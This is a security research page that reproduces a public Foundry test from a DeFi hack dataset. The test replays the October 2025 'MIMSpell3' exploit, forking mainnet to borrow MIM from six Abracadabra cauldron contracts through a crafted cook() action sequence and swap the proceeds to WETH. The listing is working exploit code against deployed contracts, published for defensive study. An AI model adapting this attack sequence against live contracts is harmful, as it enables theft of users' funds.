Skip to content
THREATWIRE

Public reproduction file

src/test/2025-10/MIMSpell3_exp.sol

Public reproduction file for dataset entry MIMSpell3.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-10/MIMSpell3_exp.sol215 lines
1// SPDX-License-Identifier: UNLICENSED
2// @KeyInfo - Total Lost : 1.7M USD
3// Attacker : https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d
4// Attack Contract : https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993
5// Vulnerable Contract : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c
6// Attack Tx : https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6
7
8// @Info
9// Vulnerable Contract Code : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c#code
11// @Analysis
12// Post-mortem : N/A
13// Twitter Guy : N/A
14// Hacking God : N/A
15pragma solidity ^0.8.15;
17import "../basetest.sol";
18import "../interface.sol";
20// Interfaces
21interface IBentoBox {
22 function balanceOf(address token, address user) external view returns (uint256);
23 function toAmount(address token, uint256 share, bool roundUp) external view returns (uint256);
24 function withdraw(
25 address token,
26 address from,
27 address to,
28 uint256 amount,
29 uint256 share
30 ) external returns (uint256 amountOut, uint256 shareOut);
33interface ICauldron {
34 function cook(
35 uint8[] calldata actions,
36 uint256[] calldata values,
37 bytes[] calldata datas
38 ) external payable returns (uint256 value1, uint256 value2);
39 function borrowLimit() external view returns (uint128 total, uint128 borrowPartPerAddress);
42interface ICurveRouter {
43 function exchange(
44 address[11] calldata route,
45 uint256[5][5] calldata swap_params,
46 uint256 amount,
47 uint256 expected,
48 address[5] calldata pools,
49 address receiver
50 ) external returns (uint256);
53interface ICurve3Pool {
54 function remove_liquidity(uint256 amount, uint256[3] calldata min_amounts) external returns (uint256[3] memory);
56 function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;
59interface IUniswapV3Router {
60 struct ExactInputParams {
61 bytes path;
62 address recipient;
63 uint256 deadline;
64 uint256 amountIn;
65 uint256 amountOutMinimum;
66 }
68 function exactInput(
69 ExactInputParams calldata params
70 ) external payable returns (uint256 amountOut);
73contract MIMSpell3Exploit is BaseTestWithBalanceLog {
74 // Constants
75 uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544;
77 // Pool indices for 3Pool
78 int128 private constant USDT_INDEX = 2;
80 // Uniswap V3 fee tier
81 uint24 private constant UNISWAP_V3_FEE_TIER = 500; // 0.05%
83 // Cauldron action types
84 uint8 private constant ACTION_REPAY = 5;
85 uint8 private constant ACTION_NO_OP = 0;
87 // Curve swap parameters
88 uint256 private constant INPUT_TOKEN_INDEX = 0;
89 uint256 private constant OUTPUT_TOKEN_INDEX = 1;
90 uint256 private constant SWAP_TYPE = 1;
91 uint256 private constant POOL_TYPE = 1;
92 uint256 private constant N_COINS = 2;
94 // Contract addresses
95 address private constant BENTOBOX = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce;
96 address private constant CURVE_ROUTER = 0x45312ea0eFf7E09C83CBE249fa1d7598c4C8cd4e;
97 address private constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
98 address private constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
100 // Token addresses
101 address private constant MIM = 0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3;
102 address private constant THREE_CRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;
103 address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
104 address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
105 address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
106 address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
108 // Pool addresses
109 address private constant MIM_3CRV_POOL = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;
111 // Cauldron addresses and debt amounts
112 address[6] private CAULDRONS = [
113 0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c,
114 0x289424aDD4A1A503870EB475FD8bF1D586b134ED,
115 0xce450a23378859fB5157F4C4cCCAf48faA30865B,
116 0x40d95C4b34127CF43438a963e7C066156C5b87a3,
117 0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2,
118 0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d
119 ];
121 function setUp() public {
122 vm.createSelectFork("mainnet", BLOCK_NUM_TO_FORK);
123 fundingToken = WETH;
124 }
126 function testExploit() public balanceLog {
127 _borrowFromAllCauldrons();
128 _withdrawAllMIMFromBentoBox();
129 _swapMIMTo3Crv();
130 _remove3PoolLiquidityToUSDT();
131 _swapUSDTToWETH();
132 }
134 function _borrowFromAllCauldrons() internal {
135 uint8[] memory actions = new uint8[](2);
136 actions[0] = ACTION_REPAY;
137 actions[1] = ACTION_NO_OP;
139 uint256[] memory values = new uint256[](2);
141 for (uint256 i = 0; i < CAULDRONS.length; i++) {
142 uint256 balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]);
143 (uint256 borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit();
144 if (borrowlimit >= balavail) {
145 _borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false));
146 }
147 }
148 }
150 function _borrowFromCauldron(
151 address cauldron,
152 uint8[] memory actions,
153 uint256[] memory values,
154 uint256 debtAmount
155 ) internal {
156 bytes[] memory datas = new bytes[](2);
157 datas[0] = abi.encode(debtAmount, address(this));
158 datas[1] = hex"";
159 ICauldron(cauldron).cook(actions, values, datas);
160 }
162 function _withdrawAllMIMFromBentoBox() internal {
163 uint256 mimBalance = IBentoBox(BENTOBOX).balanceOf(MIM, address(this));
164 IBentoBox(BENTOBOX).withdraw(MIM, address(this), address(this), 0, mimBalance);
165 }
167 function _swapMIMTo3Crv() internal {
168 uint256 mimAmount = IERC20(MIM).balanceOf(address(this));
169 IERC20(MIM).approve(CURVE_ROUTER, mimAmount);
171 address[11] memory route;
172 route[0] = MIM;
173 route[1] = MIM_3CRV_POOL;
174 route[2] = THREE_CRV;
176 uint256[5][5] memory swapParams;
177 swapParams[0][0] = INPUT_TOKEN_INDEX;
178 swapParams[0][1] = OUTPUT_TOKEN_INDEX;
179 swapParams[0][2] = SWAP_TYPE;
180 swapParams[0][3] = POOL_TYPE;
181 swapParams[0][4] = N_COINS;
183 address[5] memory pools;
184 pools[0] = MIM_3CRV_POOL;
186 ICurveRouter(CURVE_ROUTER).exchange(route, swapParams, mimAmount, 0, pools, address(this));
187 }
189 function _remove3PoolLiquidityToUSDT() internal {
190 uint256 threeCrvBalance = IERC20(THREE_CRV).balanceOf(address(this));
191 IERC20(THREE_CRV).approve(CURVE_3POOL, threeCrvBalance);
193 // Remove liquidity as USDT only (index 2 in the 3Pool: DAI=0, USDC=1, USDT=2)
194 ICurve3Pool(CURVE_3POOL).remove_liquidity_one_coin(threeCrvBalance, USDT_INDEX, 0);
195 }
197 function _swapUSDTToWETH() internal {
198 uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));
199 if (usdtBalance > 0) {
200 SafeTransferLib.safeApprove(IERC20(USDT), UNISWAP_V3_ROUTER, usdtBalance);
202 IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({
203 path: abi.encodePacked(USDT, UNISWAP_V3_FEE_TIER, WETH),
204 recipient: address(this),
205 deadline: block.timestamp,
206 amountIn: usdtBalance,
207 amountOutMinimum: 0
208 });
210 IUniswapV3Router(UNISWAP_V3_ROUTER).exactInput(params);
211 }
212 }
214 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “MIMSpell3” (2025-10-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

4 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d

  • Attack Contract

    0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993

  • Vulnerable Contract

    0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c

  • Attack Tx

    0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6

File record

Name
MIMSpell3
Path
src/test/2025-10/MIMSpell3_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
93d7a671831b1e590db123b240187480c65e6989
Language
Solidity
Size
216 lines
Date
2025-10-04
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-10/MIMSpell3_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 93d7a671831b1e590db123b240187480c65e6989, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.